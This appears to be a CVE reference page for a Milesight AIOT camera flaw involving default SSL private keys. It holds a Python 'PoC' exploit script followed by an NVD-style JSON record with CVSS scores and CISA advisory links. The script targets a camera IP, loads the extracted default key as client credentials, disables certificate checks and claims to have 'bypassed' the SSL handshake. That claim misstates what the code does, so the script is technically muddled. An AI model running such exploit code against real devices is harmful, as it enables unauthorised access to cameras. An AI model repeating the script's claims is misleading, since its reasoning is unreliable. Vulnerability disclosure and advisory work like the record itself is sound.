CVE-2026-32644

import socket import ssl # PoC for CVE-2026-32644: Milesight Default SSL Key Usage # This script demonstrates connecting to a target device using a known default private key, # assuming the key has been extracted from the firmware. def exploit_default_ssl(target_ip, target_port, key_file, cert_file): print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] Using default key: {key_file}") try: # Create a TCP socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) # Create an SSL context and load the default credentials context = ssl.create_default_context() # Load the default certificate and private key context.load_cert_chain(certfile=cert_file, keyfile=key_file) # Optionally disable verification if the target uses a self-signed cert (common in IoT) context.check_hostname = False context.verify_mode = ssl.CERT_NONE print("[*] Establishing SSL connection...") # Wrap the socket with SSL secure_sock = context.wrap_socket(sock, server_hostname=target_ip) secure_sock.connect((target_ip, target_port)) print("[+] Connection established successfully!") print("[+] SSL handshake bypassed using default credentials.") # Example interaction: Send a simple HTTP request payload = b"GET / HTTP/1.1\r\nHost: " + target_ip.encode() + b"\r\nConnection: close\r\n\r\n" secure_sock.send(payload) # Receive response response = secure_sock.recv(4096) print("[*] Response received:") print(response.decode(errors='ignore')) secure_sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target IP and path to extracted default key TARGET_IP = "192.168.1.100" TARGET_PORT = 443 DEFAULT_KEY = "milesight_default.key" DEFAULT_CERT = "milesight_default.crt" exploit_default_ssl(TARGET_IP, TARGET_PORT, DEFAULT_KEY, DEFAULT_CERT)

{"cve": {"id": "CVE-2026-32644", "sourceIdentifier": "[email protected]", "published": "2026-04-28T01:16:00.600", "lastModified": "2026-04-28T20:11:56.713", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Specific firmware versions of Milesight AIOT cameras use SSL certificates with default private keys."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.2, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-321"}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-113-03.json", "source": "[email protected]"}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-113-03", "source": "[email protected]"}, {"url": "https://www.milesight.com/support/download/firmware", "source": "[email protected]"}]}}